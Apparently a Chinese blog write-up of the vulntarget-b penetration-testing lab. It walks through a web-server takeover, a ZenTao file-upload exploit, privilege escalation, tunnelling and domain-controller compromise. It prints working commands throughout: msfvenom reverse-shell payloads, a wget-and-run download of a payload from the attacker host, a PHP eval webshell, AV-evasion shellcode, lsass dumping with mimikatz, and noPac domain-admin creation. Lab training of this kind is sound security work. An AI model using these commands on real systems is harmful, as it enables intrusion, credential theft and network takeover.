• vulntarget-b靶场详细通关记录


    vulntarget-b靶场详细通关记录

    前言

    这个靶场打了好几天才打下来,在上线msf和免杀过火绒还有psexec横向移动中卡了很久。而且这个靶场的通关资料较少,吐槽一下网上的相关文章很多关键步骤都不写而且复现不成功。以下将记录个人通关vulntarget-b靶场的详细过程。

    攻击手段

    1.CMS极致后台getshell

    2.Bypass disable_functions绕过

    3.CVE-2021-4034提权漏洞(Polkit)

    4.msf Socks5代理

    5.CNVD-C-2020-121325禅道PMS任意文件上传漏洞

    6.LCX多层端口转发

    7.木马ShellCode免杀过火绒上线msf

    8.CVE-2021-1732 提权漏洞 蔓灵花(BITTER)

    9.利用注册表和procdump mimikatz离线获取凭证

    10.CVE-2021-42287&CVE-2021-42278

    11.psexec横向移动拿下域控

    网络环境

    域控(Win2016)

    vulntarget\administrator:Admin@123、(首次登陆要改密码修改为Admin@123@)

    vulntarget\win101:admin#123

    内网ip:10.0.10.100

    在这里插入图片描述

    域主机(Win10)

    win10:win10#123、

    administrator:admin@123

    内网ip:10.0.20.66 、10.0.10.99
    在这里插入图片描述

    Web服务器(CentOS)

    root:root

    外网ip:192.168.0.104

    内网ip:10.0.20.30
    在这里插入图片描述

    攻击机(kali)

    192.168.0.128

    外网渗透

    web服务器CMS极致后台getshell

    全面扫描Web服务器端口

    nmap -sV -A -p- 192.168.0.104
    
    • 1

    在这里插入图片描述

    扫出21、22、80、81、888、3306、8888端口

    访问80端口,识别出安装了宝塔面板

    在这里插入图片描述

    访问81端口,知道了是极致CMS建站

    在这里插入图片描述

    访问8888端口
    在这里插入图片描述

    进入极致CMS后台/admin.php

    在这里插入图片描述

    直接admin:admin123弱口令就进去了

    在这里插入图片描述

    收获到了极致CMS版本信息v1.8.1,经过搜索发现了一个后台在线编辑模板插件getshell的洞

    搜索在线编辑模板下载并安装

    在这里插入图片描述

    之后点击配置

    在这里插入图片描述

    设置密码登录后进入了如下页面
    在这里插入图片描述

    找到index.html写入一句马
    在这里插入图片描述

    利用蚁剑成功远控

    在这里插入图片描述

    Bypass disable_functions

    但是连接后执行命令一直显示ret=127,应该是宝塔设置了disable_functions

    在这里插入图片描述

    直接利用Antsword-store中的disable_functions bypass

    在这里插入图片描述

    在这里插入图片描述

    成功bypass,可以执行函数了

    在这里插入图片描述

    Web服务器上线msf

    msf监听

    msfconsole
    use exploit/multi/handler
    set payload linux/x64/meterpreter/reverse_tcp
    set lhost 192.168.0.128
    set lport 4444
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    生成木马

    msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.128 lport=4444 -f elf > shell.elf
    
    • 1

    在这里插入图片描述

    开启http服务,让受害机下载木马并执行

    wget http://192.168.0.128/shell.elf
    chmod +x shell.elf
    ./shell.elf
    
    • 1
    • 2
    • 3

    成功上线msf

    在这里插入图片描述

    提权

    因为现在用户是www还需提权到root,我传了个linux-exploit-suggester.sh linux脚本漏洞指针并执行,发现了很多洞

    在这里插入图片描述

    看里面有dirtycow,直接打失败了不知道是哪里的问题

    在这里插入图片描述

    利用msf自带的辅助提权

    use multi/recon/local_exploit_suggester
    set session 1
    run
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    直接利用第一个打

    use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
    set session 1
    
    • 1
    • 2

    还成了,成功拿到root权限

    在这里插入图片描述

    后面专门搜了一下这个CVE-2021-4034是一个关于环境变量的提权漏洞

    Polkit(之前名为PolicyKit)是一个权限相关的套件,pkexec是其中用于以其他用户身份执行命令的工具,它具有suid权限。

    当前版本的pkexec中没有正确处理参数和环境变量,导致攻击者可以利用这个Bug劫持环境变量GCONV_PATH,进而劫持动态链接库,以root身份执行任意代码。

    内网渗透

    发现web服务器的内网ip:10.0.20.30

    在这里插入图片描述

    构建通道

    配置路由

    run autoroute -s 10.0.20.0/24
    run autoroute -p
    
    • 1
    • 2

    在这里插入图片描述

    开启代理,利用msf自带的socks模块

    use auxiliary/server/socks_proxy
    
    • 1

    在这里使用了socks5

    在这里插入图片描述

    jobs
    
    • 1

    在这里插入图片描述

    内网探测

    利用scanner/portscan/tcp模块简单扫描下常用端口,发现了8080端口

    use scanner/portscan/tcp
    
    set rhosts 10.0.20.0/24
    set threads 10
    set rports 20-500,80,8080,3000-4000
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    攻击机开启代理,访问80端口发现是禅道PMS

    在这里插入图片描述

    又是弱口令登录后台admin:Admin123

    发现版本号为12.4.2,也可以通过/index.php?mode=getconfig接口

    在这里插入图片描述

    对比版本搜索禅道PMS存在的漏洞,发现存在CNVD-C-2020-121325的任意文件上传漏洞

    漏洞名称漏洞ID影响版本漏洞披露日期
    禅道 8.2-9.2.1 SQL注入导致前台Getshell禅道开源版 8.2-9.2.12018
    禅道 后台代码注入漏洞禅道开源版 <= 11.62019
    禅道 后台任意文件删除漏洞禅道开源版 <= 11.62019
    禅道 后台任意文件读取漏洞禅道开源版 <= 11.62019
    禅道 后台文件包含漏洞禅道开源版 <= 11.62019
    禅道 后台SQL注入漏洞禅道开源版 <= 11.62019
    禅道 任意文件上传漏洞CNVD-C-2020-12132510.x < 禅道开源版 < 12.4.32020
    禅道 Pro 8.8.2 命令注入漏洞CVE-2020-7361禅道Pro <=8.8.22020

    复现CNVD-C-2020-121325禅道PMS任意文件上传漏洞

    访问如下地址:

    http://[目标地址]/index.php?m=client&f=download&version=[$version参数]&[base64加密后的恶意文件地址]

    访问后会将文件保存在data/client/1/目录下

    首先写一个木马shell.php内容为

     @eval($_POST['tpa']);phpinfo();?>
    
    • 1

    然后上传到控制下来的Web服务器并开启http服务

    python -m SimpleHTTPServer 8847
    
    • 1

    base64编码转换 HTTP需要大写,version随意

    HTTP://10.0.20.30:8847/shell.php
    
    SFRUUDovLzEwLjAuMjAuMzA6ODg0Ny9zaGVsbC5waHA
    
    • 1
    • 2
    • 3

    http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6ODg0Ny9zaGVsbC5waHA

    在这里插入图片描述

    访问我们生成的木马
    在这里插入图片描述

    进行远控,蚁剑需要设置Socks5的代理
    在这里插入图片描述

    成功远控

    在这里插入图片描述

    在这台域主机上识别出了火绒
    在这里插入图片描述

    免杀过火绒上线msf

    隧道搭建思路如下:

    将已经拿下shell的web服务器的5555端口转发到kali机的7777端口(一会木马直接反弹7777端口),这里使用了免杀过的工具portmap

    ./portmap -m 1 -p1 5555 -h1 10.0.20.30 -p2 7777 -h2 192.168.0.128
    
    • 1

    在这里插入图片描述

    同时kali机也需要进行端口转发,将本地的7777端口转发到6666端口,之后msf直接监听6666端口,相当于web服务器5555端口监听反弹的效果

    ./portmap -m 1 -p1 7777 -h1 192.168.0.128 -p2 6666 -h2 192.168.0.128
    
    • 1

    在这里插入图片描述

    启动监听,监听本机6666端口

    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.0.128
    set lport 6666
    
    • 1
    • 2
    • 3
    • 4

    生成木马,因为WIN10有火绒,木马需要做下免杀。

    还没有系统研究过免杀,随意找了一个22年过火绒和360的免杀shellcode方案,但最新的火绒应该已经把它加入特征库了,但这台服务器的火绒是21年的应该是随便过的。

    项目地址:https://github.com/Axx8/Bypass_AV

    生成shellcode,生成的木马为5555端口,连接的为10.0.20.30

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.30 lport=5555 --encrypt base64 -f c
    
    • 1

    在这里插入图片描述

    将生成的字节码复制到py文件shellcode中,py打包exe生成在dist目录下

    pyinstaller -F -w Bypass_AV.py
    
    • 1

    之后将木马上传到WIN10目标运行,成功上线msf

    在这里插入图片描述

    上线后添加路由,添加了10.0.10.0/24网段的路由

    run post/multi/manage/autoroute
    
    • 1

    在这里插入图片描述

    尝试抓取密码没有权限

    load kiwi
    creds_all
    
    • 1
    • 2

    在这里插入图片描述

    需要提升到SYSTEM权限,目前只是域内普通用户

    在这里插入图片描述

    CVE-2021-1732提权

    查找本地提权辅助

    run post/multi/recon/local_exploit_suggester
    
    • 1

    在这里插入图片描述

    用第一个第二个模块,都说模块不行没在管理员组里面用不了

    在这里插入图片描述

    最后用CVE-2021-1732漏洞打了进去
    在这里插入图片描述

    use exploit/windows/local/cve_2022_21882_win32k
    
    • 1

    虽然有这个漏洞,但msf一直不上线…,人麻了

    在这里插入图片描述

    算了直接在靶机上复现一下这个漏洞,github搜索编译了一个exe文件

    正常情况下的whoami

    在这里插入图片描述

    跟上cve-2021-1732.exe的whoami,提升到了system权限
    在这里插入图片描述

    当我们用这个exe执行我们的木马上线的就是system权限,还是如上端口转发搭建隧道

    web服务器:

    ./portmap -m 1 -p1 7776 -h1 10.0.20.30 -p2 6777 -h2 192.168.0.128
    
    • 1

    Kali机:

    ./portmap -m 1 -p1 6777 -h1 192.168.0.128 -p2 6779 -h2 192.168.0.128
    
    • 1

    生成木马(这里为了方便就不做免杀了)

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.30 lport=7776 -f exe > 7776.exe
    
    • 1

    设置监听

    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp 
    set lhost 192.168.0.128
    set lport 6778
    
    • 1
    • 2
    • 3
    • 4

    WIN10机器执行

    cve-2021-1732.exe 7776.exe
    
    • 1

    成功上线

    在这里插入图片描述

    看下权限是system
    在这里插入图片描述

    CVE-2021-1732 是蔓灵花(BITTER)APT 组织在某次被披露的攻击行动中使用的 0day 漏洞,该高危漏洞可以在本地将普通用户进程的权限提升至最高的 SYSTEM 权限

    受影响的版本:

    Windows Server, version 20H2 (Server Core Installation)
    Windows 10 Version 20H2 for ARM64-based Systems
    Windows 10 Version 20H2 for 32-bit Systems
    Windows 10 Version 20H2 for x64-based Systems
    Windows Server, version 2004 (Server Core installation)
    Windows 10 Version 2004 for x64-based Systems
    Windows 10 Version 2004 for ARM64-based Systems
    Windows 10 Version 2004 for 32-bit Systems
    Windows Server, version 1909 (Server Core installation)
    Windows 10 Version 1909 for ARM64-based Systems
    Windows 10 Version 1909 for x64-based Systems
    Windows 10 Version 1909 for 32-bit Systems
    Windows Server 2019 (Server Core installation)
    Windows Server 2019
    Windows 10 Version 1809 for ARM64-based Systems
    Windows 10 Version 1809 for x64-based Systems
    Windows 10 Version 1809 for 32-bit Systems
    Windows 10 Version 1803 for ARM64-based Systems
    Windows 10 Version 1803 for x64-based Systems

    注册表+procdump+mimikatz获取凭证

    拿到system权限后继续creds_all抓取凭证,没抓到什么有用的信息

    在这里插入图片描述

    通过修改注册表看到明文密码,修改注册表后需要注销或重新登录才会生效

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    
    • 1

    在这里插入图片描述

    不修改注册表,直接读取是以下这样的

    在这里插入图片描述

    这里采用Mimikatz离线读取lsass进程抓取密码的方式

    上传procdump,利用procdump导出lsass.dmp文件,因为procdump是微软自己的工具一般来说不会被杀

    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
    • 1

    下载lsass.dmp文件

    download lsass.dmp
    
    • 1

    在这里插入图片描述

    下载到本地后。mimikatz读取密码

    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
    
    • 1

    在这里插入图片描述

    域内信息收集

    run post/windows/gather/enum_domain
    
    • 1

    在这里插入图片描述

    目前已知信息:

    域内账号:win101:admin#123

    IP:10.0.10.100

    DC:WIN-UH20PRD3EAO

    域名:vulntarget.com

    CVE-2021-42287&CVE-2021-42278

    CVE-2021-42278,机器用户应当是computer 的 形 式 , 但 是 实 际 并 没 有 验 证 机 器 账 号 是 否 有 的形式,但是实际并没有验证机器账号是否有 。导致机器用户名可以被模拟冒用。

    CVE-2021-42287,使用computer的TGT通过另一个用户去请求computer自己的ST时,将TGT发送给KDC后,当KDC找不到computer。KDC会再次寻找computer 的 S T , 从 而 获 得 了 c o m p u t e r 的ST,从而获得了computer STcomputer的ST。从而获得了computer$的权限。

    影响范围:

    CVE-2021-42287:

    Windows Server 2012 R2 (Server Core installation)

    Windows Server 2012 R2

    Windows Server 2012 (Server Core installation)

    Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)

    Windows Server 2012

    Windows Server 2008 R2 for x64-based Systems Service Pack 1

    Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)

    Windows Server 2008 for x64-based Systems Service Pack 2

    Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)

    Windows Server 2008 for 32-bit Systems Service Pack 2

    Windows Server 2016 (Server Core installation)

    Windows Server 2016

    Windows Server, version 20H2 (Server Core Installation)

    Windows Server, version 2004 (Server Core installation)

    Windows Server 2022 (Server Core installation)

    Windows Server 2022

    Windows Server 2019 (Server Core installation)

    Windows Server 2019

    CVE-2021-42278:

    Windows Server 2012 R2

    Windows Server 2012 (Server Core installation)

    Windows Server 2012

    Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)

    Windows Server 2008 R2 for x64-based Systems Service Pack 1

    Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)

    Windows Server 2008 for x64-based Systems Service Pack 2

    Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)

    Windows Server 2008 for 32-bit Systems Service Pack 2

    Windows Server 2016 (Server Core installation)

    Windows Server 2016

    Windows Server, version 20H2 (Server Core Installation)

    Windows Server, version 2004 (Server Core installation)

    Windows Server 2022 (Server Core installation)

    Windows Server 2019 (Server Core installation)

    Windows Server 2022

    Windows Server 2019

    Windows Server 2012 R2 (Server Core installation)

    漏洞探测:通过noPac工具获取TGT,得知请求没有pac的TGT,可以被攻击

    noPac.exe scan -domain vulntarget.com -user win101 -pass "admin#123"
    
    • 1

    在这里插入图片描述

    使用noPac获得域控cifs权限

    noPac.exe -domain vulntarget.com -user win101 -pass admin#123 /dc WIN-UH20PRD3EAO.vulntarget.com /mAccount testTP1235 /mPassword hacker /service cifs /ptt
    
    • 1

    在这里插入图片描述

    查看权限

    dir \\WIN-UH20PRD3EAO.vulntarget.com\c$
    
    • 1

    在这里插入图片描述

    添加一个域管账号,我这里又卡了很久一直添加失败不知道什么原因,重新换参数noPac获得域控cifs权限再执行就好了

    net user admin11 123K@!E /add /domain
    net group "Domain Admins" admin11 /add /domain
    
    • 1
    • 2

    在这里插入图片描述

    在这里插入图片描述

    上传PsExec,利用PsExec横向,psexec是微软提供的一个远程命令行工具不会被杀

    PsExec.exe -accepteula \\10.0.10.100 -u vulntarget\admin11 -p 123K@!E -s cmd.exe
    
    • 1

    在这里插入图片描述

    连不上,修改防火墙策略,开启Win10远程

    修改3389防火墙进站规则:

    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    
    • 1

    在这里插入图片描述

    开启Win10远程

    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    
    • 1

    在这里插入图片描述

    结局依然是连不上,尝试多次无果。最后github上找了个python脚本,kali利用proxychains代理执行直接拿到了域控System权限

    proxychains python sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell
    
    • 1

    在这里插入图片描述

  • 相关阅读:
    No dashboards are active for the current data set(Tensorboard)
    3.基础配置
    【git 学习】--- ubuntu18.04 搭建本地git服务器
    如何在机器学习中使用数据集编程
    .NET Emit 入门教程:第六部分:IL 指令:7:详解 ILGenerator 指令方法:分支条件指令
    最近两周出去面试遇到的面试题(前端)
    干货整理| 深度学习入门知识
    SpringBoot的事务详解
    初识canvas
    Kafka 消息队列 ( 一 ) 基本概念
  • 原文地址:https://blog.csdn.net/qq_18980147/article/details/128006241